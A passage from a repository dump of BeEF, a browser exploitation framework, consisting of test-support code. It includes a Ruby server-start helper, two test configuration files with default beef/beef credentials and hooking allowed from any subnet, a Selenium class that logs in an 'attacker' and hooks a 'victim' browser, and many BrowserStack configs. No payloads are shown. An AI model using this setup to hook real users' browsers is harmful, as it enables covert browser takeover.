ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n    if context.needs_migration?\n      ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n    end\n\n    BeEF::Core::Migration.instance.update_db!\n\n    # Spawn HTTP Server\n    # print_info \"Starting HTTP Hook Server\"\n    http_hook_server = BeEF::Core::Server.instance\n    http_hook_server.prepare\n\n    # Generate a token for the server to respond with\n    BeEF::Core::Crypto::api_token\n\n    disconnect_all_active_record!\n\n    # Initiate server start-up\n    BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n    pid = fork do\n      http_hook_server.start\n    end\n\n    return pid\n  end\n\n  def beef_server_running?(uri_str)\n    begin\n      uri = URI.parse(uri_str)\n      response = Net::HTTP.get_response(uri)\n      response.is_a?(Net::HTTPSuccess)\n      rescue Errno::ECONNREFUSED\n        return false # Connection refused means the server is not running\n      rescue StandardError => e\n        return false # Any other error means the server is not running\n    end\n  end\n\n  def wait_for_beef_server_to_start(uri_str, timeout: 5)\n    start_time = Time.now # Record the time we started\n    until beef_server_running?(uri_str) || (Time.now - start_time) > timeout do\n      sleep 0.1 # Wait a bit before checking again\n    end\n    beef_server_running?(uri_str) # Return the result of the check\n  end\n\n  def start_beef_server_and_wait\n    puts \"Starting BeEF server\"\n    pid = start_beef_server\n    puts \"BeEF server started with PID: #{pid}\"\n\n    if wait_for_beef_server_to_start('http://localhost:3000', timeout: SERVER_START_TIMEOUT)\n      # print_info \"Server started successfully.\"\n    else\n      print_error \"Server failed to start within timeout.\"\n    end\n\n    pid\n  end\n\n  def stop_beef_server(pid)\n    return if pid.nil?\n    Process.kill(\"KILL\", pid) unless pid.nil?\n    Process.wait(pid) unless pid.nil? # Ensure the process has exited and the port is released \n  end\n\nend\n\n# -------------------------------------------------------------------\n# ActiveRecord connection snapshot/restore helpers (test isolation)\n# Some specs disconnect ActiveRecord (fork safety), destroying the SQLite in-memory DB.\n# These helpers restore it for later specs.\n# -------------------------------------------------------------------\nmodule SpecActiveRecordConnection\n  module_function\n\n  def snapshot\n    # Capture the current AR connection configuration hash if possible.\n    if ActiveRecord::Base.respond_to?(:connection_db_config) && ActiveRecord::Base.connection_db_config\n      ActiveRecord::Base.connection_db_config.configuration_hash\n    else\n      ActiveRecord::Base.connection_config\n    end\n  rescue StandardError\n    nil\n  end\n\n  def restore!(config_hash)\n    # Ensure we don't leave AR disconnected for subsequent specs.\n    begin\n      handler = ActiveRecord::Base.connection_handler\n      if handler.respond_to?(:connection_pool_list)\n        handler.connection_pool_list.each { |pool| pool.disconnect! }\n      elsif handler.respond_to?(:connection_pools)\n        handler.connection_pools.each_value { |pool| pool.disconnect! }\n      else\n        ActiveRecord::Base.connection_pool.disconnect!\n      end\n    rescue StandardError\n      # ignore\n    end\n\n    if config_hash\n      OTR::ActiveRecord.configure_from_hash!(config_hash)\n    else\n      # Fallback to suite default\n      OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: ':memory:')\n    end\n\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n    ActiveRecord::Schema.verbose = false\n\n    # Run migrations if the restored DB is empty/outdated\n    ActiveRecord::Migration.verbose = false\n    ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n    if context.needs_migration?\n      ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n    end\n  end\nend\n"
  },
  {
    "path": "spec/support/assets/config_new.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# BeEF Configuration file\n\nbeef:\n    version: '0.5.1.0'\n    # More verbose messages (server-side)\n    debug: false\n    # More verbose messages (client-side)\n    client_debug: false\n    # Used for generating secure tokens\n    crypto_default_value_length: 80\n\n    # Credentials to authenticate in BeEF.\n    # Used by both the RESTful API and the Admin interface\n    credentials:\n        user:   \"beef\"\n        passwd: \"beef\"\n\n    # Interface / IP restrictions\n    restrictions:\n        # subnet of IP addresses that can hook to the framework\n        permitted_hooking_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that can connect to the admin UI\n        #permitted_ui_subnet: [\"127.0.0.1/32\", \"::1/128\"]\n        permitted_ui_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that cannot be hooked by the framework\n        excluded_hooking_subnet: []\n        # slow API calls to 1 every  api_attempt_delay  seconds\n        api_attempt_delay: \"0.05\"\n\n    # HTTP server\n    http:\n        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.\n        host: \"0.0.0.0\"\n        port: \"3000\"\n\n        # Decrease this setting to 1,000 (ms) if you want more responsiveness\n        #  when sending modules and retrieving results.\n        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance\n        #  when hooking lots of browsers (50+).\n        # Enabling WebSockets is generally better (beef.websocket.enable)\n        xhr_poll_timeout: 1000\n\n        # Host Name / Domain Name\n        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),\n        #   set the public hostname below:\n        #public: \"\"      # public hostname/IP address\n\n        # Reverse Proxy / NAT\n        # If you want BeEF to be accessible behind a reverse proxy or NAT,\n        #   set both the publicly accessible hostname/IP address and port below:\n        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed\n        #   by altering the X-FORWARDED-FOR ip address in the request header.\n        allow_reverse_proxy: false\n        \n        # Public settings\n        # These settings will be used to create a public facing URL\n        # This public facing URL will be used for all hook related calls\n        public:\n            host: \"example.com\"\n            port: 443\n            https: true # public hostname/IP address\n        #public_port: \"\" # public port (experimental)\n\n        # Hook\n        hook_file: \"/hook.js\"\n        hook_session_name: \"BEEFHOOK\"\n\n        # Allow one or multiple origins to access the RESTful API using CORS\n        # For multiple origins use: \"http://browserhacker.com, http://domain2.com\"\n        restful_api:\n            allow_cors: false\n            cors_allowed_origins: \"http://browserhacker.com\"\n\n        # Prefer WebSockets over XHR-polling when possible.\n        websocket:\n            enable: false\n            port: 61985 # WS: good success rate through proxies\n            # Use encrypted 'WebSocketSecure'\n            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF\n            secure: true\n            secure_port: 61986 # WSSecure\n            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it\n            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel\n\n        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)\n        web_server_imitation:\n            enable: true\n            type: \"apache\" # Supported: apache, iis, nginx\n            hook_404: false # inject BeEF hook in HTTP 404 responses\n            hook_root: false # inject BeEF hook in the server home page\n        # Experimental HTTPS support for the hook / admin / all other Thin managed web services\n        https:\n            enable: false\n            # Enabled this config setting if you're external facing uri is using https\n            public_enabled: false\n            # In production environments, be sure to use a valid certificate signed for the value\n            # used in beef.http.public (the domain name of the server where you run BeEF)\n            key: \"beef_key.pem\"\n            cert: \"beef_cert.pem\"\n\n    database:\n        file: \"beef.db\"\n\n    # Autorun Rule Engine\n    autorun:\n        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval\n        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually\n        # continue execution regardless of results.\n        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.\n        result_poll_interval: 300\n        result_poll_timeout: 5000\n\n        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.\n        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.\n        continue_after_timeout: true\n\n    # Enables DNS lookups on zombie IP addresses\n    dns_hostname_lookup: false\n\n    # IP Geolocation\n    # NOTE: requires MaxMind database. Run ./updated-geoipdb to install.\n    geoip:\n        enable: true\n        database: '/opt/GeoIP/GeoLite2-City.mmdb'\n\n    # You may override default extension configuration parameters here\n    # Note: additional experimental extensions are available in the 'extensions' directory\n    #       and can be enabled via their respective 'config.yaml' file\n    extension:\n        admin_ui:\n            enable: true\n            base_path: \"/ui\"\n        demos:\n            enable: true\n        events:\n            enable: true\n        evasion:\n            enable: false\n        requester:\n            enable: true\n        proxy:\n            enable: true\n        network:\n            enable: true\n        metasploit:\n            enable: false\n        social_engineering:\n            enable: true\n        xssrays:\n            enable: true\n"
  },
  {
    "path": "spec/support/assets/config_old.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# BeEF Configuration file\n\nbeef:\n    version: '0.5.1.0'\n    # More verbose messages (server-side)\n    debug: false\n    # More verbose messages (client-side)\n    client_debug: false\n    # Used for generating secure tokens\n    crypto_default_value_length: 80\n\n    # Credentials to authenticate in BeEF.\n    # Used by both the RESTful API and the Admin interface\n    credentials:\n        user:   \"beef\"\n        passwd: \"beef\"\n\n    # Interface / IP restrictions\n    restrictions:\n        # subnet of IP addresses that can hook to the framework\n        permitted_hooking_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that can connect to the admin UI\n        #permitted_ui_subnet: [\"127.0.0.1/32\", \"::1/128\"]\n        permitted_ui_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that cannot be hooked by the framework\n        excluded_hooking_subnet: []\n        # slow API calls to 1 every  api_attempt_delay  seconds\n        api_attempt_delay: \"0.05\"\n\n    # HTTP server\n    http:\n        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.\n        host: \"0.0.0.0\"\n        port: \"3000\"\n\n        # Decrease this setting to 1,000 (ms) if you want more responsiveness\n        #  when sending modules and retrieving results.\n        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance\n        #  when hooking lots of browsers (50+).\n        # Enabling WebSockets is generally better (beef.websocket.enable)\n        xhr_poll_timeout: 1000\n\n        # Host Name / Domain Name\n        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),\n        #   set the public hostname below:\n        #public: \"\"      # public hostname/IP address\n\n        # Reverse Proxy / NAT\n        # If you want BeEF to be accessible behind a reverse proxy or NAT,\n        #   set both the publicly accessible hostname/IP address and port below:\n        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed\n        #   by altering the X-FORWARDED-FOR ip address in the request header.\n        allow_reverse_proxy: false\n        #public: \"example\" # public hostname/IP address\n        #public_port: \"\" # public port (experimental)\n\n        # Hook\n        hook_file: \"/hook.js\"\n        hook_session_name: \"BEEFHOOK\"\n\n        # Allow one or multiple origins to access the RESTful API using CORS\n        # For multiple origins use: \"http://browserhacker.com, http://domain2.com\"\n        restful_api:\n            allow_cors: false\n            cors_allowed_domains: \"http://browserhacker.com\"\n\n        # Prefer WebSockets over XHR-polling when possible.\n        websocket:\n            enable: false\n            port: 61985 # WS: good success rate through proxies\n            # Use encrypted 'WebSocketSecure'\n            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF\n            secure: true\n            secure_port: 61986 # WSSecure\n            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it\n            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel\n\n        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)\n        web_server_imitation:\n            enable: true\n            type: \"apache\" # Supported: apache, iis, nginx\n            hook_404: false # inject BeEF hook in HTTP 404 responses\n            hook_root: false # inject BeEF hook in the server home page\n        # Experimental HTTPS support for the hook / admin / all other Thin managed web services\n        https:\n            enable: false\n            # Enabled this config setting if you're external facing uri is using https\n            public_enabled: false\n            # In production environments, be sure to use a valid certificate signed for the value\n            # used in beef.http.public (the domain name of the server where you run BeEF)\n            key: \"beef_key.pem\"\n            cert: \"beef_cert.pem\"\n\n    database:\n        file: \"beef.db\"\n\n    # Autorun Rule Engine\n    autorun:\n        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval\n        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually\n        # continue execution regardless of results.\n        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.\n        result_poll_interval: 300\n        result_poll_timeout: 5000\n\n        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.\n        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.\n        continue_after_timeout: true\n\n    # Enables DNS lookups on zombie IP addresses\n    dns_hostname_lookup: false\n\n    # IP Geolocation\n    # NOTE: requires MaxMind database. Run ./updated-geoipdb to install.\n    geoip:\n        enable: true\n        database: '/opt/GeoIP/GeoLite2-City.mmdb'\n\n    # You may override default extension configuration parameters here\n    # Note: additional experimental extensions are available in the 'extensions' directory\n    #       and can be enabled via their respective 'config.yaml' file\n    extension:\n        admin_ui:\n            enable: true\n            base_path: \"/ui\"\n        demos:\n            enable: true\n        events:\n            enable: true\n        evasion:\n            enable: false\n        requester:\n            enable: true\n        proxy:\n            enable: true\n        network:\n            enable: true\n        metasploit:\n            enable: false\n        social_engineering:\n            enable: true\n        xssrays:\n            enable: true\n"
  },
  {
    "path": "spec/support/beef_test.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'selenium-webdriver'\nrequire 'spec_helper'\nrequire 'capybara'\nrequire 'capybara/rspec'\nCapybara.run_server = false # we need to run our own BeEF server\n\nclass BeefTest\n  def self.save_screenshot(session, dir = nil)\n    outputDir = dir || BEEF_TEST_DIR\n    Dir.mkdir(outputDir) unless File.directory?(outputDir)\n    filename = outputDir + Time.now.strftime('%Y-%m-%d--%H-%M-%S-%N') + '.png'\n    session.driver.browser.save_screenshot(filename)\n  end\n\n  def self.login(session = nil)\n    session = Capybara::Session.new(:selenium_headless) if session.nil?\n    session.visit(ATTACK_URL)\n    \n    session.has_content?('Authentication', wait: 10)\n\n    # enter the credentials\n    session.execute_script(\"document.getElementById('pass').value = '#{CGI.escapeHTML(BEEF_PASSWD)}'\\;\")\n    session.execute_script(\"document.getElementById('user').value = '#{CGI.escapeHTML(BEEF_USER)}'\\;\")\n\n    # due to using JS there seems to be a race condition - this is a workaround\n    session.has_content?('beef', wait: PAGE_LOAD_TIMEOUT)\n\n    # click the login button\n    login_script = <<-JAVASCRIPT\n      var loginButton;\n      var buttons = document.getElementsByTagName('button');\n      for (var i = 0; i < buttons.length; i++) {\n        if (buttons[i].textContent === 'Login') {\n          loginButton = buttons[i];\n          break;\n        }\n      }\n      if (loginButton) {\n        loginButton.click();\n      }\n    JAVASCRIPT\n    session.execute_script(login_script)\n\n    session.has_content?('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT)\n\n    session\n  end\n\n  def self.logout(session)\n    session.click_on('Logout')\n    session.has_content?('Authentication', wait: PAGE_LOAD_TIMEOUT)\n\n    session\n  end\n\n  def self.new_attacker(session = nil)\n    self.login(session)\n  end\n\n  def self.new_victim(victim = nil)\n    victim = Capybara::Session.new(:selenium_headless) if victim.nil?\n    victim.visit(VICTIM_URL)\n    victim.has_content?('You should be hooked into BeEF.', wait: PAGE_LOAD_TIMEOUT)\n    # self.save_screenshot(victim, \"./\")\n    victim\n  end\nend\n"
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_chrome_41.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Chrome 41\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"41.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_chrome_59.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Chrome 59\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"59.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_chrome_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Chrome 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_firefox_11.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Firefox 11\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"11.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_firefox_68esr.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Firefox 68 ESR\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"68.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_firefox_75.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Firefox 75\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"75.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/catalina/catalina_safari_13.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Catalina Safari 13\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"safari\"\n    \"browser_version\": \"13.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"catalina\""
  },
  {
    "path": "spec/support/browserstack/osx/elcapitan/elcapitan_chrome_14.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX El Capitan Chrome 14\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"14.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"el capitan\""
  },
  {
    "path": "spec/support/browserstack/osx/elcapitan/elcapitan_chrome_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX El Capitan Chrome 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"el capitan\""
  },
  {
    "path": "spec/support/browserstack/osx/elcapitan/elcapitan_firefox_7.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX El Capitan Firefox 7\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"7.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"el capitan\""
  },
  {
    "path": "spec/support/browserstack/osx/elcapitan/elcapitan_firefox_75.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX El Capitan Firefox 75\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"75.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"el capitan\""
  },
  {
    "path": "spec/support/browserstack/osx/elcapitan/elcapitan_safari_9-1.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX El Capitan Safari 9.1\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"safari\"\n    \"browser_version\": \"9.1\"\n    \"os\": \"osx\"\n    \"os_version\": \"el capitan\"\n    \"browserstack.selenium_version\": \"3.5.2\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_chrome_14.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Chrome 14\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"14.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"Snow Leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_chrome_35.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Chrome 35\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"35.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_chrome_49.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Chrome 49\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"49.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_firefox_38esr.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Firefox 38 ESR\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"38.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_firefox_42.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Firefox 42\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"42.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_firefox_7.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Firefox 7\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"7.0\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/osx/snowleopard/snowleopard_safari_5-1.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"OSX Snow Leopard Safari 5.1\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"safari\"\n    \"browser_version\": \"5.1\"\n    \"os\": \"osx\"\n    \"os_version\": \"snow leopard\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_chrome_37.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Chrome 37\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"37.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_chrome_59.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Chrome 59\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"59.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_chrome_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Chrome 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_edge_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Edge 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"edge\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_firefox_32.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Firefox 32\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"32.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_firefox_68esr.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Firefox 68 ESR\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"68.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_firefox_75.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 Firefox 75\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"75.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win10/win10_ie_11.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 10 IE 11\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"internet explorer\"\n    \"browser_version\": \"11.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"10\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_chrome_22.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 Chrome 22\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"22.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_chrome_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 Chrome 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_edge_81.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 Edge 81\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"edge\"\n    \"browser_version\": \"81.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_firefox_32.config.yml",
